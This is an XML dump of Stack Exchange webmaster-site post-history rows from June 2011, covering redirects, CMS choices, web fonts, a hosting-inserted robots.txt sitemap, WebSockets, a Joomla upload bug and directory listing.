  <row Id="37514" PostHistoryTypeId="5" PostId="15804" RevisionGUID="f4f8e22e-c5cb-42d1-99ac-f53c126f2fef" CreationDate="2011-06-24T01:28:58.187" UserId="108" Comment="added 186 characters in body" Text="It is best to let them disappear as long as your redirects are 301's.  Google will in time see that they are 301(permanent) redirects and will switch over to the new URL. I have done this myself and you should see results within 2-4 weeks, if not faster.  &#xD;&#xA;&#xD;&#xA;If it has been more than a month and your old URLs are still showing up in Google's SERPs then you need to look into your redirects and make sure the headers are correct.  You can use a free site service like, http://www.internetofficer.com/seo-tool/redirect-check/.  I believe [fiddler][1] will also check it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/" />
  <row Id="37515" PostHistoryTypeId="5" PostId="12830" RevisionGUID="86cfc385-5c8d-4346-8fe7-596a6c89aabd" CreationDate="2011-06-24T01:29:46.783" UserId="8515" Comment="Improved grammar and wording for clarify." Text="I am installing a script (that I bought on cpanel) in the root directory of my web site.&#xD;&#xA;When I try to install it, it gives me an error. I found that it starts an infinite URL redirect loop containing the name of my web site.&#xD;&#xA; &#xD;&#xA;Something like:&#xD;&#xA;`install//mywebsite.com/install=mywebsite.com/install=mywebsite.com/install=mywebsite.com`  etc. until the browser refuses to continue when URL gets too long.&#xD;&#xA;&#xD;&#xA;The vendor told me I need to have mod_rewrite installed on my cpanel and something about .htaccess.&#xD;&#xA;&#xD;&#xA;How do I do fix this?" />
  <row Id="37516" PostHistoryTypeId="4" PostId="12830" RevisionGUID="86cfc385-5c8d-4346-8fe7-596a6c89aabd" CreationDate="2011-06-24T01:29:46.783" UserId="8515" Comment="Improved grammar and wording for clarify." Text="Infinite redirect loop in cpanel-purchased script" />
  <row Id="37517" PostHistoryTypeId="24" PostId="12830" RevisionGUID="86cfc385-5c8d-4346-8fe7-596a6c89aabd" CreationDate="2011-06-24T01:29:46.783" Comment="Proposed by 8515 approved by 108 edit id of 409" />
  <row Id="37518" PostHistoryTypeId="6" PostId="13619" RevisionGUID="aeed7879-cfbe-4719-9956-5af9f9a00a79" CreationDate="2011-06-24T01:29:58.030" UserId="8515" Comment="Added applicable tags" Text="&lt;wordpress&gt;&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="37519" PostHistoryTypeId="24" PostId="13619" RevisionGUID="aeed7879-cfbe-4719-9956-5af9f9a00a79" CreationDate="2011-06-24T01:29:58.030" Comment="Proposed by 8515 approved by 108 edit id of 407" />
  <row Id="37520" PostHistoryTypeId="5" PostId="15553" RevisionGUID="28403bb6-a6f8-41a1-b0e9-9da8fec92cb1" CreationDate="2011-06-24T01:30:59.653" UserId="8515" Comment="Improved grammar and sentance structure for clarity. Changed title to be more applicable since a &quot;team&quot; in general doesn't apply to the &quot;sports team&quot;-specific question." Text="I'm looking for a web based CMS that enables me to manage a sport team, I need the following features:&#xD;&#xA;&#xD;&#xA;+ Calendar**&#xD;&#xA;+ Schedule events (sync with the calendar, RSS feed), it would be great if I could schedule a weekly event too, so that I don't have to schedule it by hand each week**&#xD;&#xA;+ Announcements (same RSS feed as events)**&#xD;&#xA;+ A place where I can put some documentation, rules**&#xD;&#xA;- Keep track of the matches and scores&#xD;&#xA;- Photo and video gallery&#xD;&#xA;&#xD;&#xA;** means feature is required; otherwise optional&#xD;&#xA;&#xD;&#xA;Any technology for the CMS is probably fine, though I would prefer an SQLite-based CMS.&#xD;&#xA;" />
  <row Id="37521" PostHistoryTypeId="4" PostId="15553" RevisionGUID="28403bb6-a6f8-41a1-b0e9-9da8fec92cb1" CreationDate="2011-06-24T01:30:59.653" UserId="8515" Comment="Improved grammar and sentance structure for clarity. Changed title to be more applicable since a &quot;team&quot; in general doesn't apply to the &quot;sports team&quot;-specific question." Text="Do you know a good web CMS to manage a sports team?" />
  <row Id="37522" PostHistoryTypeId="24" PostId="15553" RevisionGUID="28403bb6-a6f8-41a1-b0e9-9da8fec92cb1" CreationDate="2011-06-24T01:30:59.653" Comment="Proposed by 8515 approved by 108 edit id of 408" />
  <row Id="37523" PostHistoryTypeId="5" PostId="15246" RevisionGUID="be6690e7-6a94-46ed-a087-d28bdb4db204" CreationDate="2011-06-24T01:34:50.087" UserId="108" Comment="deleted 185 characters in body" Text="I recently moved my website from one host to another.  I moved all the files and also the database.&#xD;&#xA;&#xD;&#xA;Now when I try to log in, it just refreshes the page and nothing happens.&#xD;&#xA;&#xD;&#xA;The data is being read from the database but the site just doesn't log me in.&#xD;&#xA;&#xD;&#xA;What extra information do I need to give?" />
  <row Id="37524" PostHistoryTypeId="10" PostId="15246" RevisionGUID="09853766-2d43-475c-93d4-430e63ff0daa" CreationDate="2011-06-24T01:37:09.977" UserId="108" CloseReasonId="4" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="37525" PostHistoryTypeId="5" PostId="14383" RevisionGUID="e03e8481-2df4-40b4-a497-dc16b54a6040" CreationDate="2011-06-24T01:38:45.670" UserId="108" Comment="deleted 16 characters in body; edited tags" Text="We are building a public site Using asp.net 4.0 and SqlServer 2008 R2. &#xD;&#xA;We are assuming with a year our user count will be around 200,000. &#xD;&#xA;&#xD;&#xA;We need better a understanding; for hosting how much bandwidth per month we should consider. Also what about ram/cpu.&#xD;&#xA;" />
  <row Id="37526" PostHistoryTypeId="6" PostId="14383" RevisionGUID="e03e8481-2df4-40b4-a497-dc16b54a6040" CreationDate="2011-06-24T01:38:45.670" UserId="108" Comment="deleted 16 characters in body; edited tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="37527" PostHistoryTypeId="17" PostId="15815" RevisionGUID="aa401537-6386-43d0-a500-ffe6d7ff6982" CreationDate="2011-06-24T01:41:54.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6433282/how-can-i-find-the-administrator-of-a-website" Text="" />
  <row Id="37528" PostHistoryTypeId="2" PostId="15816" RevisionGUID="22d59aa6-1f17-4340-81fd-f89822abefdf" CreationDate="2011-06-21T23:44:28.007" UserDisplayName="orn" Text="If you can't find it on the website, try whois" />
  <row Id="37529" PostHistoryTypeId="2" PostId="15815" RevisionGUID="1d24a1cc-b8cb-4447-95d6-5ef2e0ec2b01" CreationDate="2011-06-21T23:40:48.550" UserDisplayName="Ajay Abcdefg" Text="The question above sums it up, but I will restate it here: What is a resource I can use to find the administrator of a website?" />
  <row Id="37530" PostHistoryTypeId="1" PostId="15815" RevisionGUID="1d24a1cc-b8cb-4447-95d6-5ef2e0ec2b01" CreationDate="2011-06-21T23:40:48.550" UserDisplayName="Ajay Abcdefg" Text="How can I find the administrator of a website?" />
  <row Id="37531" PostHistoryTypeId="3" PostId="15815" RevisionGUID="1d24a1cc-b8cb-4447-95d6-5ef2e0ec2b01" CreationDate="2011-06-21T23:40:48.550" UserDisplayName="Ajay Abcdefg" Text="&lt;websites&gt;" />
  <row Id="37532" PostHistoryTypeId="17" PostId="15816" RevisionGUID="8949b3a5-06cb-492c-b8fb-0929a33ed7da" CreationDate="2011-06-24T01:41:54.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6433282/how-can-i-find-the-administrator-of-a-website" Text="" />
  <row Id="37533" PostHistoryTypeId="17" PostId="15817" RevisionGUID="24623ab8-3dbd-425a-8d0f-b6d917f93b72" CreationDate="2011-06-24T01:41:54.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6433282/how-can-i-find-the-administrator-of-a-website" Text="" />
  <row Id="37534" PostHistoryTypeId="17" PostId="15818" RevisionGUID="d3e9a52d-3419-4b76-8138-ca2399dc499e" CreationDate="2011-06-24T01:41:54.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6433282/how-can-i-find-the-administrator-of-a-website" Text="" />
  <row Id="37535" PostHistoryTypeId="2" PostId="15818" RevisionGUID="66f2f1f3-2b0e-4ead-bd40-77976b926a84" CreationDate="2011-06-21T23:52:15.433" UserDisplayName="ayckoster" Text="If you cannot find the admin of a specific website just try to write an email to:&#xD;&#xA;&#xD;&#xA; - admin@somesite.com&#xD;&#xA; - info@somesite.com&#xD;&#xA; - root@somesite.com&#xD;&#xA;&#xD;&#xA;Often these email addresses are redirected to the appropriate authority/person.&#xD;&#xA;&#xD;&#xA;Furthermore it is possible use the contact form which many sites have and just explain you want to contact the administrator. The responsible person will know how to redirect your request." />
  <row Id="37536" PostHistoryTypeId="2" PostId="15817" RevisionGUID="53d7ac60-d29d-4ddd-be9d-453cc1d6d932" CreationDate="2011-06-21T23:46:03.027" UserDisplayName="O_O" Text="If it is not stated on the website, then you are out of luck.  Usually, there will be contact links to the owner or moderator of the site somewhere: could be on the bottom of the main page, or they could have their own contact page." />
  <row Id="37537" PostHistoryTypeId="10" PostId="14383" RevisionGUID="23067275-119e-4b76-b091-63b0e68e47f0" CreationDate="2011-06-24T01:49:44.637" UserId="108" CloseReasonId="4" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="37538" PostHistoryTypeId="2" PostId="15819" RevisionGUID="32eec23f-2db2-475f-8571-0b91ce87bcb8" CreationDate="2011-06-24T01:54:06.803" UserId="108" Text="I have only transferred one domain and it was in the US.  The transfer was to GoDaddy.  It took around 48 hours for them to move everything. I don't know why it is so slow but it is. Make sure you have everything correct on both sides.  To I know neither side for me did a good job explaining the process so I ended up losing two days where GoDaddy was waiting on the other company because I didn't tell them something I should have.  You should no matter what have your site moved within that 5 days though. " />
  <row Id="37539" PostHistoryTypeId="17" PostId="15820" RevisionGUID="4aae9e04-a24e-46e3-b6c7-9d9eba8ceb41" CreationDate="2011-06-24T02:41:40.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6462032/mac-font-on-website-on-pc" Text="" />
  <row Id="37540" PostHistoryTypeId="2" PostId="15821" RevisionGUID="b5ef87e1-882c-4175-8466-fa2647005219" CreationDate="2011-06-24T00:14:16.740" UserDisplayName="Martin Matysiak" Text="This is not Mac-font-specific, but: in order to have a font that is available on every platform, you could use webfonts. [Google Webfonts][1] provides them, for example. The only thing you have to do is include a Stylesheet in your `head`-area and you are ready to go. Every modern browser is able to load and show those webfonts.&#xD;&#xA;&#xD;&#xA;Just take a look at a gallery, there are a lot fonts that have a nice and smooth look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webfonts" />
  <row Id="37541" PostHistoryTypeId="2" PostId="15820" RevisionGUID="ed902fe1-e44b-47db-b424-a1bdd52cfddb" CreationDate="2011-06-24T00:00:30.997" UserDisplayName="CyberJunkie" Text="I like how fonts look on a Mac. Is it possible to render something similar in a website and have it work on all operating systems and browsers? I'm aware of font-face but I can't seem to find a clean font. Ideally I want Arial but more smooth." />
  <row Id="37542" PostHistoryTypeId="1" PostId="15820" RevisionGUID="ed902fe1-e44b-47db-b424-a1bdd52cfddb" CreationDate="2011-06-24T00:00:30.997" UserDisplayName="CyberJunkie" Text="Mac font on website on PC" />
  <row Id="37543" PostHistoryTypeId="3" PostId="15820" RevisionGUID="ed902fe1-e44b-47db-b424-a1bdd52cfddb" CreationDate="2011-06-24T00:00:30.997" UserDisplayName="CyberJunkie" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;&lt;fonts&gt;" />
  <row Id="37544" PostHistoryTypeId="17" PostId="15821" RevisionGUID="3d20929a-b4d1-4648-81a6-22f8a2b9a7b9" CreationDate="2011-06-24T02:41:40.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6462032/mac-font-on-website-on-pc" Text="" />
  <row Id="37545" PostHistoryTypeId="17" PostId="15822" RevisionGUID="f85b4ee4-6b01-4fa3-ba86-8bac3adc90e4" CreationDate="2011-06-24T02:41:40.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6462032/mac-font-on-website-on-pc" Text="" />
  <row Id="37546" PostHistoryTypeId="2" PostId="15822" RevisionGUID="47f7164c-51c0-420f-8aea-e44f9efc87e6" CreationDate="2011-06-24T01:11:11.613" UserDisplayName="Luke James Emery" Text="Take the font from your filesystem and upload it to this website.  Use the cufon script to render your images.  I did this on my profile website, and a few others.  It looks pretty nice, though can have a slight delay.&#xD;&#xA;&#xD;&#xA;http://cufon.shoqolate.com/generate/" />
  <row Id="37547" PostHistoryTypeId="25" PostId="15814" RevisionGUID="0b1d71e6-8c57-43df-9a3c-448a83e7c12c" CreationDate="2011-06-24T03:25:00.617" Comment="http://twitter.com/#!/StackWebmasters/status/84099677175296000" />
  <row Id="37548" PostHistoryTypeId="2" PostId="15823" RevisionGUID="154fc463-3933-4f66-99ee-19aba2cb920c" CreationDate="2011-06-24T03:31:00.377" UserId="8195" Text="`AllowOverride All`&#xD;&#xA;&#xD;&#xA;`Options FollowSymLinks`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: Options is actually optional." />
  <row Id="37550" PostHistoryTypeId="25" PostId="15778" RevisionGUID="b41e69dc-7c37-4004-93e1-54d3aca906cb" CreationDate="2011-06-24T06:25:00.900" Comment="http://twitter.com/#!/StackWebmasters/status/84144977034215426" />
  <row Id="37551" PostHistoryTypeId="2" PostId="15824" RevisionGUID="06367ab4-6613-4bc8-a567-15a3195ffc2b" CreationDate="2011-06-24T06:56:15.237" UserId="3312" Text="One of my sites is very new (about 3 months).  When first launched it's pages had (unsurprisingly) a Google PR of 'Unranked' [From Google toolbar stats, via the firefox SearchStatus plugin].  After a few weeks these changed to PR0.  Just recently I noticed that they are showing PR 'Unranked' once more in Google Toolbar.&#xD;&#xA;&#xD;&#xA;As far as I know I'm following the Google guidelines.  Results for the site still seem to be showing for its keywords.&#xD;&#xA;&#xD;&#xA;**What could this mean?**" />
  <row Id="37552" PostHistoryTypeId="1" PostId="15824" RevisionGUID="06367ab4-6613-4bc8-a567-15a3195ffc2b" CreationDate="2011-06-24T06:56:15.237" UserId="3312" Text="Google: What does a return to PR 'Unranked' mean?" />
  <row Id="37553" PostHistoryTypeId="3" PostId="15824" RevisionGUID="06367ab4-6613-4bc8-a567-15a3195ffc2b" CreationDate="2011-06-24T06:56:15.237" UserId="3312" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="37554" PostHistoryTypeId="2" PostId="15825" RevisionGUID="e041379c-14b6-4b9e-a6a4-556d8a521f01" CreationDate="2011-06-24T08:03:10.680" UserId="8390" Text="I recently created a very simple, pure HTML website which I have hosted with &quot;hostmonster&quot;. Hostmonster had very good reviews on some comparison website and in general so far they appear to be perfectly good in every way... At least I thought so until just now...&#xD;&#xA;&#xD;&#xA;I have been making lots of edits to my site on an almost daily basis. My site now appears on the first page (7th on the list) for my most important keyphrase when doing a google search. But I did notice some problem with the snippet chosen by google. I asked a question on this site about snippets and got some great answers. I then made some modifications to my meta data and within 48hrs the google snippet for my search was perfect. The odd thing though was that looking at the &quot;cached&quot; version google had, it appeared that the cache was still very odl- like three weeks previous. This seemed very odd - how could it be that the google robots had read my new metadata without updating the cache? This puzzled me greatly. Just now it occurred to me that maybe I had some goofey setting in my robots.txt file. I didn't actually remember even making one - but I thought I'd have a look just in case. Much to my horror, I saw that there was a robots.txt and it contained the disturbing text below:&#xD;&#xA;&#xD;&#xA;    sitemap: http://cdn.attracta.com/sitemap/728687.xml.gz&#xD;&#xA;&#xD;&#xA;Intuitively this looks like some kind of junk, spam trick, and I had indeed been getting some spam from &quot;attracta&quot;.&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;1. Should I simply delete this robots.txt?&#xD;&#xA;2. Was the file there all along - placed there because of some commercial tie-in between attracta and hostmonster.&#xD;&#xA;3. Does the attracta robots file explain the lack of re-caching?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37555" PostHistoryTypeId="1" PostId="15825" RevisionGUID="e041379c-14b6-4b9e-a6a4-556d8a521f01" CreationDate="2011-06-24T08:03:10.680" UserId="8390" Text="Strange robots.txt - how and why did it get there?" />
  <row Id="37556" PostHistoryTypeId="3" PostId="15825" RevisionGUID="e041379c-14b6-4b9e-a6a4-556d8a521f01" CreationDate="2011-06-24T08:03:10.680" UserId="8390" Text="&lt;robots.txt&gt;" />
  <row Id="37557" PostHistoryTypeId="2" PostId="15826" RevisionGUID="94ebf902-e7b7-4edd-9f4c-2f3cf260f127" CreationDate="2011-06-24T08:09:40.017" UserId="1643" Text="1. You can see what the file contains here: http://cdn.attracta.com/sitemap/728687/0.xml.gz&#xD;&#xA;If that doesn't reflect your sites structure I would delete it. However see answer 2 - you may be able to update it to make it accurate.&#xD;&#xA;&#xD;&#xA;2. Probably.&#xD;&#xA;&#xD;&#xA;&gt;  An Attracta Starter Account&#xD;&#xA;&gt; ($120/year value) is bundled and&#xD;&#xA;&gt; integrated into the HostMonster&#xD;&#xA;&gt; Control Panel of every website&#xD;&#xA;&gt; account.&#xD;&#xA;http://www.attracta.com/partner.jsp&#xD;&#xA;&#xD;&#xA; 3 . It depends on how accurate that file is." />
  <row Id="37558" PostHistoryTypeId="5" PostId="15826" RevisionGUID="39797d11-818b-4ebd-ab9c-3de83b411b06" CreationDate="2011-06-24T08:18:00.667" UserId="1643" Comment="added 107 characters in body" Text="1. You can see what the file contains here: http://cdn.attracta.com/sitemap/728687/0.xml.gz&#xD;&#xA;If that doesn't reflect your sites structure I would delete it. However see answer 2 - you may be able to update it to make it accurate.&#xD;&#xA;&#xD;&#xA;2. Probably.&#xD;&#xA;&#xD;&#xA;&gt;  An Attracta Starter Account&#xD;&#xA;&gt; ($120/year value) is bundled and&#xD;&#xA;&gt; integrated into the HostMonster&#xD;&#xA;&gt; Control Panel of every website&#xD;&#xA;&gt; account.&#xD;&#xA;http://www.attracta.com/partner.jsp&#xD;&#xA;&#xD;&#xA;If you can find where Attracta is on the control panel you could get the sitemap updated I would think.&#xD;&#xA;&#xD;&#xA; 3 . It depends on how accurate that file is." />
  <row Id="37559" PostHistoryTypeId="2" PostId="15827" RevisionGUID="3f7e1d3b-d3b7-4233-8f1e-58daf4695cbe" CreationDate="2011-06-24T08:24:36.023" UserId="7085" Text="1. Yes; you can set a default editor in Joomla general configuration settings, choosen among every editor you installed; and you can also override this setting on a &quot;per-user&quot; basis, in the profile of the user.&#xD;&#xA;&#xD;&#xA;2. When installed, your new editor (Textile or not) will be present in the editor select list, both in general configuration and in user profile configuration." />
  <row Id="37560" PostHistoryTypeId="2" PostId="15828" RevisionGUID="b841b3fb-92fa-4c5f-9a7c-365f6363afe4" CreationDate="2011-06-24T08:30:07.640" UserId="8523" Text="I'm wondering if it's possible to send a response every second or so to a single http request. Like for example the client makes an http request, then the server sends a space character every second. This could be never ending or with a limit, for example a minute.&#xD;&#xA;&#xD;&#xA;I think the word 'response' is misleading in this context, since I don't necessarily mean an http response. The whole http response could be composed of the space characters, which would mean a single http response to a single http request, except that it is a minute long.&#xD;&#xA;&#xD;&#xA;I tried chunked encoding but I don't think it works, or at least my implementation's wrong." />
  <row Id="37561" PostHistoryTypeId="1" PostId="15828" RevisionGUID="b841b3fb-92fa-4c5f-9a7c-365f6363afe4" CreationDate="2011-06-24T08:30:07.640" UserId="8523" Text="Is there a way to return a response every x seconds or so to a single http request?" />
  <row Id="37562" PostHistoryTypeId="3" PostId="15828" RevisionGUID="b841b3fb-92fa-4c5f-9a7c-365f6363afe4" CreationDate="2011-06-24T08:30:07.640" UserId="8523" Text="&lt;http&gt;" />
  <row Id="37563" PostHistoryTypeId="2" PostId="15829" RevisionGUID="75d52ff3-44ad-4dcc-8a2f-47b475210936" CreationDate="2011-06-24T08:31:01.060" UserId="1643" Text="PageRank is just one of the (200+) factors used to place you in search results, so even though it's got worse you're still doing well on the other factors.&#xD;&#xA;&#xD;&#xA;It could be that the links to your site (which give you PageRank) were removed so that you went from PR0 to Unranked." />
  <row Id="37564" PostHistoryTypeId="5" PostId="15712" RevisionGUID="70915c85-6575-49e3-a39d-7fe7a61abfd8" CreationDate="2011-06-24T08:45:58.640" UserId="8486" Comment="improve the question" Text="This is what I did, I added variables in \libraries\joomla\database\table\user.php:&#xD;&#xA;&#xD;&#xA;var $img_content= null; //contains the blob type data var $img_name = null; var $img_type = null;&#xD;&#xA;&#xD;&#xA;then I added this code in \components\com_user\controller.php:&#xD;&#xA;&#xD;&#xA;$file = JRequest::getVar( 'pic', '', 'files', 'array' );&#xD;&#xA;&#xD;&#xA;    if(isset($file['name']))&#xD;&#xA;    {&#xD;&#xA;    jimport('joomla.filesystem.file');&#xD;&#xA;    $fileName = $file['name'];&#xD;&#xA;    $tmpName  = $file['tmp_name'];&#xD;&#xA;    $fileSize = $file['size'];&#xD;&#xA;    $fileType = $file['type'];&#xD;&#xA;&#xD;&#xA;    $fp      = fopen($tmpName, 'r');&#xD;&#xA;    $content = fread($fp, filesize($tmpName));&#xD;&#xA;    //$content = addslashes($content);&#xD;&#xA;    fclose($fp);&#xD;&#xA;    $user-&gt;set('img_name', $fileName);&#xD;&#xA;    $user-&gt;set('img_type', $fileType);&#xD;&#xA;    $user-&gt;set('img_content', $content);&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;that works fine, but I found this problem in logging in with the new user with an uploaded photo, other user with an empty img_content field could login properly. What happens is when I log-in using the user with uploaded photo, it's not redirecting properly it just return to log-in, but when i log-in through backend using other user which is super admin, i could see that user which appears as logged in.&#xD;&#xA;&#xD;&#xA;I started saving the images in the database because I am having problem with the directory when I have uploaded the site.&#xD;&#xA;&#xD;&#xA;I think the log-in was affected by the blob type data in the database. Could that be the problem? What could be the solution?&#xD;&#xA;&#xD;&#xA;-saeha&#xD;&#xA;" />
  <row Id="37565" PostHistoryTypeId="24" PostId="15712" RevisionGUID="70915c85-6575-49e3-a39d-7fe7a61abfd8" CreationDate="2011-06-24T08:45:58.640" Comment="Proposed by 8486 approved by 1064 edit id of 410" />
  <row Id="37566" PostHistoryTypeId="2" PostId="15830" RevisionGUID="4774ddc1-9607-4972-ac6f-49d7f801d5c5" CreationDate="2011-06-24T09:00:16.303" UserId="7198" Text="You can use [WebSockets](https://developer.mozilla.org/en/WebSockets) to accomplish server-side pushing to the client. They allow you to open a connection to a server and receive responses from the server without issuing further requests from the client.&#xD;&#xA;&#xD;&#xA;The [websocketstest](http://websocketstest.com/) page shows a websocket connection working in your browser (if it supports WebSockets), with an update of the server time pushed to the client every second.&#xD;&#xA;&#xD;&#xA;The [socket.io](http://socket.io/) JavaScript library is a popular way to implement a websocket on the client side, with fallbacks for older browsers and support for [multiple sockets](http://socket.io/#announcement).&#xD;&#xA;&#xD;&#xA;You'll also need to create a websocket server to listen for connections and serve responses. There are libraries for [PHP](http://code.google.com/p/phpwebsockets/), [Java](http://jwebsocket.org/), [Ruby](http://github.com/gimite/web-socket-ruby), [node.js](http://github.com/LearnBoost/Socket.IO-node), [Python](http://pypi.python.org/pypi/django-websocket), and others. There's a [tutorial here](http://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/) that talks you through the client and server -side setup.&#xD;&#xA;&#xD;&#xA;Note that not all browsers support WebSockets by default, although the socket.io library attempts to workaround this [[details](http://socket.io/#browser-support)]." />
  <row Id="37567" PostHistoryTypeId="5" PostId="15830" RevisionGUID="ec5989d4-939e-4c32-b5e7-741b51159b57" CreationDate="2011-06-24T09:05:34.973" UserId="7198" Comment="edited body; edited body" Text="You can use [WebSockets](https://developer.mozilla.org/en/WebSockets) to accomplish server-side pushing to the client. They allow you to open a connection to a server and receive responses from the server without issuing further requests from the client.&#xD;&#xA;&#xD;&#xA;The [websocketstest](http://websocketstest.com/) page shows a WebSocket connection working in your browser (if it supports WebSockets), with an update of the server time pushed to the client every second.&#xD;&#xA;&#xD;&#xA;The [socket.io](http://socket.io/) JavaScript library is a popular way to implement a WebSocket on the client side, with fallbacks for older browsers and support for [multiple sockets](http://socket.io/#announcement).&#xD;&#xA;&#xD;&#xA;You'll also need to create a websocket server to listen for connections and serve responses. There are libraries for [PHP](http://code.google.com/p/phpwebsockets/), [Java](http://jwebsocket.org/), [Ruby](http://github.com/gimite/web-socket-ruby), [node.js](http://github.com/LearnBoost/Socket.IO-node), [Python](http://pypi.python.org/pypi/django-websocket), and others. There's a [tutorial here](http://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/) that talks you through the client and server -side setup.&#xD;&#xA;&#xD;&#xA;Note that not all browsers support WebSockets by default, although the socket.io library attempts to workaround this [[details](http://socket.io/#browser-support)]." />
  <row Id="37568" PostHistoryTypeId="25" PostId="15828" RevisionGUID="6dc7f5db-fdc6-4fb7-a7f1-7e66ecd7a9de" CreationDate="2011-06-24T09:25:00.420" Comment="http://twitter.com/#!/StackWebmasters/status/84190274611449856" />
  <row Id="37569" PostHistoryTypeId="2" PostId="15831" RevisionGUID="1762afae-05b3-404b-92a6-33d6fc19bb59" CreationDate="2011-06-24T09:27:21.553" UserId="5727" Text="Try also adding a canonical meta tag, this might help, along with making sure your redirects are 301's" />
  <row Id="37570" PostHistoryTypeId="2" PostId="15832" RevisionGUID="8bc60097-023f-4d51-95cc-656eca57766d" CreationDate="2011-06-24T09:34:21.730" UserId="8526" Text="I have this site that I manage, I've optimized the side and get Good SEO results in South Africa, I however need to get better results from the rest of Africa, and I need to know are there any Guidelines I could follow, eg registering a .com domain, the current domain is a .co.za domain. Any advise will help!" />
  <row Id="37571" PostHistoryTypeId="1" PostId="15832" RevisionGUID="8bc60097-023f-4d51-95cc-656eca57766d" CreationDate="2011-06-24T09:34:21.730" UserId="8526" Text="What practices should I do to get better Organic Search Engine rankings &quot;Google&quot; in Africa?" />
  <row Id="37572" PostHistoryTypeId="3" PostId="15832" RevisionGUID="8bc60097-023f-4d51-95cc-656eca57766d" CreationDate="2011-06-24T09:34:21.730" UserId="8526" Text="&lt;seo&gt;" />
  <row Id="37573" PostHistoryTypeId="2" PostId="15833" RevisionGUID="9cb094f7-3cee-44bf-b670-ce1b1767c4c8" CreationDate="2011-06-24T09:44:29.870" UserId="8331" Text="Ive been using Drupal for years and now with work need to learn Expression Engine. Im interested in the comparison of Drupal and Expression Engine, but purely from a theming point of view (Ive no doubt Drupal is more powerful for development). Does anyone have any insights?&#xD;&#xA;&#xD;&#xA;It seems EE does give you more control over the exact html outputted, but is this necessary? I design my graphics first and Ive always been able to make exactly what I wanted in Drupal (some theme overrides could be easier, but ive got there in the end). &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="37574" PostHistoryTypeId="1" PostId="15833" RevisionGUID="9cb094f7-3cee-44bf-b670-ce1b1767c4c8" CreationDate="2011-06-24T09:44:29.870" UserId="8331" Text="Expression Engine vs Drupal for Theming" />
  <row Id="37575" PostHistoryTypeId="3" PostId="15833" RevisionGUID="9cb094f7-3cee-44bf-b670-ce1b1767c4c8" CreationDate="2011-06-24T09:44:29.870" UserId="8331" Text="&lt;cms&gt;&lt;theme&gt;" />
  <row Id="37576" PostHistoryTypeId="2" PostId="15834" RevisionGUID="a865cf32-80a7-45c5-9056-42f4e29f40ae" CreationDate="2011-06-24T10:23:25.267" UserId="8527" Text="What's reason behind having a contact form on a website, when a simple e-mail link is enough? Why do so many web sites have contact forms? Is it just a habit?" />
  <row Id="37577" PostHistoryTypeId="1" PostId="15834" RevisionGUID="a865cf32-80a7-45c5-9056-42f4e29f40ae" CreationDate="2011-06-24T10:23:25.267" UserId="8527" Text="Why do websites have a contact form? isn't an email address enough?" />
  <row Id="37578" PostHistoryTypeId="3" PostId="15834" RevisionGUID="a865cf32-80a7-45c5-9056-42f4e29f40ae" CreationDate="2011-06-24T10:23:25.267" UserId="8527" Text="&lt;email&gt;&lt;forms&gt;&lt;contact-page&gt;" />
  <row Id="37582" PostHistoryTypeId="2" PostId="15836" RevisionGUID="d22e3a8f-cbe3-408c-8fff-3b3cebcb19f1" CreationDate="2011-06-24T10:31:12.263" UserId="8153" Text="I guess it is caused by security issues. They don't want to expose their email to spammers(by this form, they can check if IP doesn't send to much messages and block it eventually). But there is a solution to this: http://www.google.com/recaptcha/mailhide/" />
  <row Id="37583" PostHistoryTypeId="2" PostId="15837" RevisionGUID="95f7a7a2-cb15-4481-a7f6-50ad962d9af8" CreationDate="2011-06-24T10:31:41.873" UserId="8526" Text="I will give you my opinion why&#xD;&#xA;&#xD;&#xA;1) Sometimes companies require certain information eg. contact number, so that they can give you a call, take an insurance company for example they have a contact form that you submit eg. request a quote, you give them relevant information and they phone you and have already your info so that they do not need to ask you the details.&#xD;&#xA;2) To hide there email address, to protection against spammers." />
  <row Id="37584" PostHistoryTypeId="2" PostId="15838" RevisionGUID="463afaf7-107a-4a92-ac0d-dd8b05395550" CreationDate="2011-06-24T10:47:06.797" UserId="8529" Text="I haven't uploaded index.html or index.php to my root directory.  How can I prevent people from looking at a listing of files in parent directory?&#xD;&#xA;&#xD;&#xA;&lt;http://oi56.tinypic.com/sc739e.jpg&gt;&#xD;&#xA;&#xD;&#xA;Also, is it possible for people to obtain a list of all the files in the root directory once I upload index.html?&#xD;&#xA;&#xD;&#xA;I'm currently using .htaccess and htusers to prompt someone to enter a username and password when they try to access any file in the root directory.&#xD;&#xA;&#xD;&#xA;This may sound like a weird request but would it be possible to have them come to the site (without an index.html) and just have them not see the files?  All it would say on the page would be the following:&#xD;&#xA;&#xD;&#xA;**Index of/**&#xD;&#xA;&#xD;&#xA;*Apache Server at mysite.com Port 80*" />
  <row Id="37585" PostHistoryTypeId="1" PostId="15838" RevisionGUID="463afaf7-107a-4a92-ac0d-dd8b05395550" CreationDate="2011-06-24T10:47:06.797" UserId="8529" Text="How can I prevent people from looking at a listing of files in parent directory if I haven't uploaded index.html?" />
